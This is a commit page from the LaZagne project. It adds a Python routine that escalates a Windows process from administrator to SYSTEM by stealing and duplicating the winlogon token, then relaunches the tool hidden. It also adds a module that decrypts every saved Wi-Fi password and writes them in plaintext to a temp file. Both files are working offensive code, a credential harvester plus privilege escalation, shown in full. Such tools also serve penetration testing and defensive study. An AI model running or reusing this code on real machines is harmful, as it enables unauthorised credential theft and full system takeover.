Wifi - not need to be system anymore

anqitong · Feb 20, 2015 · 2990642 · 2990642
1 parent fb38047
commit 2990642
Show file tree

Hide file tree

Showing 2 changed files with 322 additions and 0 deletions.
diff --git a/Windows/src/LaZagne/config/get_system_priv.py b/Windows/src/LaZagne/config/get_system_priv.py
@@ -0,0 +1,239 @@
+# Thanks to Alex. http://zwclose7.createaforum.com/malware-and-hacking/%28python%29-admin-to-system-privilege-escalation/
+import sys, os
+from ctypes import *
+
+LPVOID = c_void_p
+PVOID = LPVOID
+PSID = PVOID
+DWORD = c_uint32
+LPSTR = c_char_p
+HANDLE      = LPVOID
+INVALID_HANDLE_VALUE = c_void_p(-1).value
+LONG        = c_long
+WORD        = c_uint16
+
+READ_CONTROL                     = 0x00020000L
+STANDARD_RIGHTS_READ             = READ_CONTROL
+STANDARD_RIGHTS_REQUIRED         = 0x000F0000L
+
+TOKEN_ASSIGN_PRIMARY    = 0x0001
+TOKEN_DUPLICATE         = 0x0002
+TOKEN_IMPERSONATE       = 0x0004
+TOKEN_QUERY             = 0x0008
+TOKEN_QUERY_SOURCE      = 0x0010
+TOKEN_ADJUST_PRIVILEGES = 0x0020
+TOKEN_ADJUST_GROUPS     = 0x0040
+TOKEN_ADJUST_DEFAULT    = 0x0080
+TOKEN_ADJUST_SESSIONID  = 0x0100
+TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
+tokenprivs  = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072L | 4))
+TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
+		TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
+		TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
+		TOKEN_ADJUST_SESSIONID)
+
+PROCESS_QUERY_INFORMATION = 0x0400
+
+class LUID(Structure):
+	_fields_ = [
+		("LowPart",     DWORD),
+		("HighPart",    LONG),
+	]
+
+class SID_AND_ATTRIBUTES(Structure):
+	_fields_ = [
+		("Sid",         PSID),
+		("Attributes",  DWORD),
+	]
+
+class TOKEN_USER(Structure):
+	_fields_ = [
+		("User", SID_AND_ATTRIBUTES),]
+
+class LUID_AND_ATTRIBUTES(Structure):
+	_fields_ = [
+		("Luid",        LUID),
+		("Attributes",  DWORD),
+	]
+
+class TOKEN_PRIVILEGES(Structure):
+	_fields_ = [
+		("PrivilegeCount",  DWORD),
+		("Privileges",      LUID_AND_ATTRIBUTES),
+	]
+
+class PROCESS_INFORMATION(Structure):
+	_fields_ = [
+		('hProcess',    HANDLE),
+		('hThread',     HANDLE),
+		('dwProcessId', DWORD),
+		('dwThreadId',  DWORD),
+	]
+
+class STARTUPINFO(Structure):
+	_fields_ = [
+		('cb',              DWORD),
+		('lpReserved',      LPSTR),
+		('lpDesktop',       LPSTR),
+		('lpTitle',         LPSTR),
+		('dwX',             DWORD),
+		('dwY',             DWORD),
+		('dwXSize',         DWORD),
+		('dwYSize',         DWORD),
+		('dwXCountChars',   DWORD),
+		('dwYCountChars',   DWORD),
+		('dwFillAttribute', DWORD),
+		('dwFlags',         DWORD),
+		('wShowWindow',     WORD),
+		('cbReserved2',     WORD),
+		('lpReserved2',     LPVOID),    # LPBYTE
+		('hStdInput',       HANDLE),
+		('hStdOutput',      HANDLE),
+		('hStdError',       HANDLE),
+	]
+
+def GetUserName():
+	nSize = DWORD(0)
+	windll.advapi32.GetUserNameA(None, byref(nSize))
+	error = GetLastError()
+
+	ERROR_INSUFFICIENT_BUFFER = 122
+	if error != ERROR_INSUFFICIENT_BUFFER:
+		raise WinError(error)
+
+	lpBuffer = create_string_buffer('', nSize.value + 1)
+
+	success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize))
+	if not success:
+		raise WinError()
+	return lpBuffer.value
+
+def GetTokenSid(hToken):
+	"""Retrieve SID from Token"""
+	dwSize = DWORD(0)
+	pStringSid = LPSTR()
+	TokenUser = 1
+	windll.advapi32.GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize))
+	address = windll.kernel32.LocalAlloc(0x0040, dwSize)
+	windll.advapi32.GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))
+	pToken_User = cast(address, POINTER(TOKEN_USER))
+	windll.advapi32.ConvertSidToStringSidA(pToken_User.contents.User.Sid, byref(pStringSid))
+	sid = pStringSid.value
+	windll.kernel32.LocalFree(address)
+	return sid
+
+def EnablePrivilege(privilegeStr, hToken = None):
+	"""Enable Privilege on token, if no token is given the function gets the token of the current process."""
+	if hToken == None:
+		TOKEN_ADJUST_PRIVILEGES = 0x00000020
+		TOKEN_QUERY = 0x0008
+		hToken = HANDLE(INVALID_HANDLE_VALUE)
+		windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) )
+
+	privilege_id = LUID()
+	windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
+
+	SE_PRIVILEGE_ENABLED = 0x00000002
+	laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
+	tp  = TOKEN_PRIVILEGES(1, laa)
+
+	windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)  
+
+def procids():
+	"""A list of every pid, sorted but first pids is winlogon.exe"""
+
+	count = 32
+	while True:
+		ProcessIds = ( DWORD * count)()
+		cb = sizeof( ProcessIds )
+		BytesReturned = DWORD()
+		if windll.psapi.EnumProcesses( byref(ProcessIds), cb, byref(BytesReturned)):
+			if BytesReturned.value < cb:
+				break
+			else:
+				count *= 2
+
+	for index in range(BytesReturned.value / sizeof( DWORD ) ):
+		ProcessId = ProcessIds[index]
+		hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId)
+		if hProcess:
+			ImageFileName = ( c_char * 260 )()
+			if windll.psapi.GetProcessImageFileNameA(hProcess, ImageFileName, 260) > 0:
+				filename = os.path.basename(ImageFileName.value)
+				if filename == "winlogon.exe":
+					winlogon_pid = ProcessIds[index]
+			windll.kernel32.CloseHandle(hProcess)   
+
+	pids = [ ProcessIds[index] for index in range( BytesReturned.value / sizeof(DWORD)) ]
+	pids.remove(winlogon_pid)
+
+	return [ winlogon_pid ] + pids
+
+def GetLocalSystemProcessToken():
+	"""Takes a list of pids and checks if the process has a token with SYSTEM user, if so it returns the token handle."""    
+	pids = procids()
+
+	for pid in pids:
+		try:
+			hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
+
+			hToken = HANDLE(INVALID_HANDLE_VALUE)
+			windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken))
+
+		##If token SID is the SID of SYSTEM, return the token handle.
+			if GetTokenSid( hToken ) == "S-1-5-18":
+				windll.kernel32.CloseHandle(hProcess)
+				return hToken
+
+			windll.kernel32.CloseHandle(hToken)
+			windll.kernel32.CloseHandle(hProcess)
+
+		except WindowsError, e :
+			pass
+
+def get_system_priv():
+	current_filepath = sys.argv[0]
+
+	##Enable SE_DEBUG_NAME(debugprivileges) on the current process.
+	EnablePrivilege("SeDebugPrivilege")
+
+	##Get a SYSTEM user token.
+	hToken = GetLocalSystemProcessToken()
+
+	##Duplicate it to a Primary Token, so it can be passed to CreateProcess.
+	hTokendupe = HANDLE( INVALID_HANDLE_VALUE )
+
+	SecurityImpersonation = 2
+	TokenPrimary = 1
+	windll.advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref( hTokendupe ) )
+
+	##Now we have duplicated the token, we can close the orginal.
+	windll.kernel32.CloseHandle(hToken)
+
+	##Enable SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME, these are both needed to start a process with a token.
+	EnablePrivilege( "SeAssignPrimaryTokenPrivilege", hToken = hTokendupe )
+	EnablePrivilege( "SeIncreaseQuotaPrivilege", hToken = hTokendupe )
+
+	##Enable SE_IMPERSONATE_NAME, so that we can impersonate the SYSTEM token.
+	EnablePrivilege("SeImpersonatePrivilege")
+
+	windll.advapi32.ImpersonateLoggedOnUser( hTokendupe )
+
+	##Start the process with the token.
+	try:
+		# Starting shell as SYSTEM
+		lpProcessInformation = PROCESS_INFORMATION()
+		lpStartupInfo = STARTUPINFO()
+		CREATE_NEW_CONSOLE = 0x00000010
+		CREATE_NO_WINDOW = 0x08000000
+
+		windll.advapi32.CreateProcessAsUserA(hTokendupe, r"%s" % current_filepath, " wifi --HiddenWifiArgs" , None, None, True, CREATE_NO_WINDOW, None, None, byref(lpStartupInfo), byref(lpProcessInformation))
+	except WindowsError, e :
+		pass
+
+	##Clean up, revert back to self and close the handles
+	windll.advapi32.RevertToSelf()
+	windll.kernel32.CloseHandle(hTokendupe)
+
+
+
diff --git a/Windows/src/LaZagne/softwares/wifi/wifipass.py b/Windows/src/LaZagne/softwares/wifi/wifipass.py
@@ -0,0 +1,83 @@
+import xml.etree.cElementTree as ET
+import os, win32crypt
+import binascii
+import tempfile, socket
+from ctypes import *
+
+class WifiPass():
+
+	# used when launched with a system account 
+	def retrieve_password(self):
+
+		# need to be admin privilege, to find passwords
+		if not windll.Shell32.IsUserAnAdmin():
+			return
+		else:
+			directory = ''
+			if 'ALLUSERSPROFILE' in os.environ:
+				directory = os.environ['ALLUSERSPROFILE'] + os.sep + 'Microsoft\Wlansvc\Profiles\Interfaces'
+
+			# for windows Vista or higher
+			if os.path.exists(directory):
+				passwordFound = False
+				rep = []
+				pwdFound = []
+				for repository in os.listdir(directory):
+					if os.path.isdir(directory + os.sep + repository):
+
+						rep = directory + os.sep + repository
+						for file in os.listdir(rep):
+							values = {}
+							if os.path.isfile(rep + os.sep + file):
+								f = rep + os.sep + file
+								tree = ET.ElementTree(file=f)
+								root = tree.getroot()
+								xmlns =  root.tag.split("}")[0] + '}'
+
+								iterate = False
+								for elem in tree.iter():
+									if elem.tag.endswith('SSID'):
+										for w in elem:
+											if w.tag == xmlns + 'name':
+												values['SSID'] = w.text
+
+									if elem.tag.endswith('authentication'):
+										values['Authentication'] = elem.text
+
+									if elem.tag.endswith('protected'):
+										values['Protected'] = elem.text
+
+									if elem.tag.endswith('keyMaterial'):
+										key = elem.text
+										try:
+											binary_string = binascii.unhexlify(key)
+											password = win32crypt.CryptUnprotectData(binary_string, None, None, None, 0)[1]
+											values['Password'] = password
+											passwordFound = True
+										except:
+											values['INFO'] = '[!] Password not found.'
+
+								# store credentials
+								if len(values) != 0:
+									pwdFound.append(values)
+
+				# If at least one password has been found, we create the file in temp directory
+				if passwordFound:
+					try:
+						filepath = tempfile.gettempdir()
+						tmp = ''
+						cpt = 1
+						for pwd in pwdFound:
+							tmp = '[wifi%s]\r\n' % str(cpt)
+							cpt += 1
+							for p in pwd.keys():
+								tmp = str(tmp) + str(p) + '=' + str(pwd[p]) + '\r\n'
+							tmp = str(tmp) + '\r\n'
+						open(filepath + os.sep + 'TEMP123A.txt','w').write(tmp)
+					except:
+						pass
+
+
+
+
+